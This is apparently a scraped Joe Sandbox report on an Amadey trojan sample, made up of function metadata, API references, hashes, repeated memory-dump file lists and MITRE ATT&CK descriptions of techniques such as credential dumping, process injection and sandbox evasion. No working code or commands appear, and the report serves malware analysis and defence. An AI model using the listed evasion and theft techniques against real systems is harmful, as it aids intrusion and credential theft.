Instruction ID: 9a2a4b328754215d242bd2b18a27877fe8c1ec99f0f1518bf076a0daa04c749c
Opcode Fuzzy Hash: b713bfd49b51041abb555fe8b87117765181b7de4fabe3ba4743ab7c7481a45c
Instruction Fuzzy Hash: ADB115329002559FDB15CF6AC881BEEBBE5EF95300F2441ABE8519B342D63D9D02CB79

Uniqueness

Uniqueness Score: -1.00%

Function 00482DC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00482E5F
__Mtx_unlock.LIBCPMT ref: 00482ECC
__Mtx_unlock.LIBCPMT ref: 00482FF5
__Mtx_unlock.LIBCPMT ref: 0048309B

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 92924a31d3fe8c0117c038a8883e7547e53385f5685a68282da069dbb9b01d07
Instruction ID: 796372721c6468cec0779467d0fe9b3e9595f045051d8563ca6a070fe9fd5ae0
Opcode Fuzzy Hash: 92924a31d3fe8c0117c038a8883e7547e53385f5685a68282da069dbb9b01d07
Instruction Fuzzy Hash: 87A1CF70901205AFDB21EF69C94476FBBB8AF15319F004A3AE915D7341EB78AA04CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0048D2DC Relevance: 6.2, APIs: 4, Instructions: 168networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00000004,00000000), ref: 0048D43E
send.WS2_32(?,?,00000008,00000000), ref: 0048D47A
send.WS2_32(?,?,?,00000000), ref: 0048D4BC

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 1157bb48aa4181a90e8fdeb956dca5b512f386fd8db2ede14125f74b67d556bd
Instruction ID: 0a05760aaf681ec8a3f9ace114202bd1fd2f7fc51db4c21b4a1b05616bdcbf81
Opcode Fuzzy Hash: 1157bb48aa4181a90e8fdeb956dca5b512f386fd8db2ede14125f74b67d556bd
Instruction Fuzzy Hash: 1441F872E011145BDB18DB7DCC857AEB7B4EF45728F10066EE81AE73D1DA34A940CB88

Uniqueness

Uniqueness Score: -1.00%

Function 004C097F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004C09C3

Strings

`GN, xrefs: 004C0995
8BN, xrefs: 004C0A6B

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8BN$`GN
API String ID: 3903695350-3932700440
Opcode ID: ea99ea15c618cbc40f39f84710eab520257a6c7dce217233dacb31a39e705d6c
Instruction ID: 3b32f8f0326c3f757dab738d5bf36d5a573f4adcdde8e7ba8e8727eb20f0cc3f
Opcode Fuzzy Hash: ea99ea15c618cbc40f39f84710eab520257a6c7dce217233dacb31a39e705d6c
Instruction Fuzzy Hash: E8317175600704DFEB60AE3AD885FA777E4AF50358F10442FE09AD7251DB79ED508B28

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

